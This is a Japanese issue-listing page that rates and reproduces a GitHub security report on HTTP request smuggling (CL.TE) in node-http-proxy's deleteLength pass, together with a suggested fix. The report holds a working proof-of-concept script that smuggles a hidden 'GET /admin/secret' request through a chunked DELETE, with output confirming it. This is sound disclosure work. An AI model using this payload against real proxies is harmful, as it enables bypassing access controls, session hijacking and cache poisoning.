Security: HTTP Request Smuggling via deleteLength (CL.TE) — upstream unfixed CVE-2026-29057
まだ誰も着手していません。
評価
- 難易度
- 3/5
- 見積もり時間
- 1〜2日
- 初心者へのやさしさ
- 72/100
- issue の種類
- バグ
- 明瞭さ
- 明確に書かれている
- 活発さ
- 活発
- 技術スタック
- javascript, node.js
- 領域
- backend, networking, security
調査の方向性
lib/http-proxy/passes/web-incoming.js から始め、続いて提供されている keep-alive の再現手順を実行して、DELETE リクエストと smuggled リクエストがどのようにバックエンドへ到達するかを確認します。完了の条件は、proxy が issue に示されている競合する framing を生成しなくなり、どちらの header もない正当な DELETE リクエストと OPTIONS リクエストが引き続き安全に動作することです。
索引モデルが issue の本文から書いたものです。
説明
Summary
The deleteLength pass creates a CL.TE request smuggling vulnerability. When proxying DELETE/OPTIONS requests with Transfer-Encoding: chunked but no Content-Length, the library sets Content-Length: 0 and deletes Transfer-Encoding. The body is still piped to the backend, creating a desynchronization.
CVE-2026-29057 was assigned to Next.js for this exact issue (Next.js vendored http-proxy). The upstream http-proxy library has NOT been patched.
Affected
- Package:
http-proxy - Version: 1.18.1 (latest, released 2020-05-17)
- All versions since v0.9.0
Root Cause
lib/http-proxy/passes/web-incoming.js:
deleteLength: function deleteLength(req, res, options) {
if((req.method === 'DELETE' || req.method === 'OPTIONS')
&& !req.headers['content-length']) {
req.headers['content-length'] = '0';
delete req.headers['transfer-encoding'];
}
},
Sets Content-Length: 0 and deletes Transfer-Encoding without checking if Transfer-Encoding is present. Body is still piped via req.pipe(proxyReq).
Reproduction
const http = require('http');
const httpProxy = require('http-proxy');
const net = require('net');
const backend = http.createServer((req, res) => {
let body = '';
req.on('data', (chunk) => body += chunk.toString());
req.on('end', () => {
console.log(`[BACKEND] ${req.method} ${req.url}`);
res.end('OK');
});
});
backend.listen(9001, () => {
const httpAgent = new http.Agent({ keepAlive: true });
const proxy = httpProxy.createProxyServer({
target: 'http://127.0.0.1:9001',
agent: httpAgent // keep-alive required for smuggling
});
const server = http.createServer((req, res) => proxy.web(req, res));
server.listen(9000, () => {
const client = net.createConnection({ host: '127.0.0.1', port: 9000 });
const smuggled = 'GET /admin/secret HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n\r\n';
client.write(
'DELETE /api HTTP/1.1\r\n' +
'Host: localhost\r\n' +
'Transfer-Encoding: chunked\r\n' +
'\r\n' +
smuggled.length.toString(16) + '\r\n' +
smuggled +
'\r\n0\r\n\r\n'
);
});
});
Output:
[BACKEND] DELETE /api
[BACKEND] GET /admin/secret ← smuggled request parsed
Preconditions
- Proxy must use a keep-alive agent (default config uses
Connection: closewhich prevents smuggling) - Backend must reuse connections
- Attacker can send requests to the proxy
Impact
- Request smuggling: arbitrary second request injected to backend
- Access internal endpoints bypassing proxy routing
- Session hijacking via shared connection context
- Cache poisoning
Suggested Fix
Apply the same fix Next.js applied:
deleteLength: function deleteLength(req, res, options) {
if((req.method === 'DELETE' || req.method === 'OPTIONS')
&& !req.headers['content-length']
&& !req.headers['transfer-encoding']) {
req.headers['content-length'] = '0';
// Do NOT delete transfer-encoding
}
},
References
- CVE-2026-29057 (assigned to Next.js for this issue)
- Next.js fix: only add
Content-Length: 0when both headers absent
Reported by: @Black1hp
- 主要言語
- JavaScript
- スター
- 14.1k
- フォーク
- 2k
- PR マージ指標
- 30日以内にマージされた PR はありません
環境構築
このプロジェクトには開発コンテナ、Dockerfile、コントリビューションガイドがありません。まず README を読み、一般的な手順ははじめてのコントリビューションガイドを参照してください。
はじめの一歩
- issue を最後まで読み、次にプロジェクトのコントリビューションガイドを読みます。
- 着手することを issue にコメントします — 二人が同じ作業をするのを防げます。
- リポジトリをフォークし、ブランチを切って変更します。
- issue 番号を参照したプルリクエストを送ります。
http-party/node-http-proxy のほかの issue
-
難易度 2/5 1〜3時間 初心者へのやさしさ 78/100
http-party/node-http-proxy#1719 ·
-
難易度 1/5 1時間未満 初心者へのやさしさ 55/100
http-party/node-http-proxy#1715 · コメント 1 件 · リアクション 5 件 ·
-
難易度 1/5 1時間未満 初心者へのやさしさ 15/100
http-party/node-http-proxy#1711 · コメント 2 件 ·
-
難易度 5/5 1週間以上 初心者へのやさしさ 25/100
http-party/node-http-proxy#1710 · リアクション 5 件 ·
-
難易度 4/5 3〜5日 初心者へのやさしさ 25/100
http-party/node-http-proxy#1708 · コメント 1 件 ·
http-party/node-http-proxy の issue をすべて見る
似ている issue
-
難易度 2/5 1〜3時間 初心者へのやさしさ 84/100
microsoft/TypeScript#65370 ·
メンテナーはふだん 1 日以内に返信
-
enhancement good first issue priority: medium
難易度 2/5 1〜3時間 初心者へのやさしさ 82/100
TMHSDigital/Free-Game-Dev-Assets#272 ·
メンテナーはふだん 1 日以内に返信
-
metrics priority: medium
難易度 1/5 1〜3時間 初心者へのやさしさ 86/100
LearningCircuit/local-deep-research#8336 ·
メンテナーはふだん 1 日以内に返信
-
ace bug yaml
難易度 2/5 1〜3時間 初心者へのやさしさ 75/100
メンテナーはふだん 1 日以内に返信
-
svelte: whitespace-only edit leaves an empty todo, edits not trimmed, filter not restored on reloadオープン
難易度 2/5 1〜3時間 初心者へのやさしさ 72/100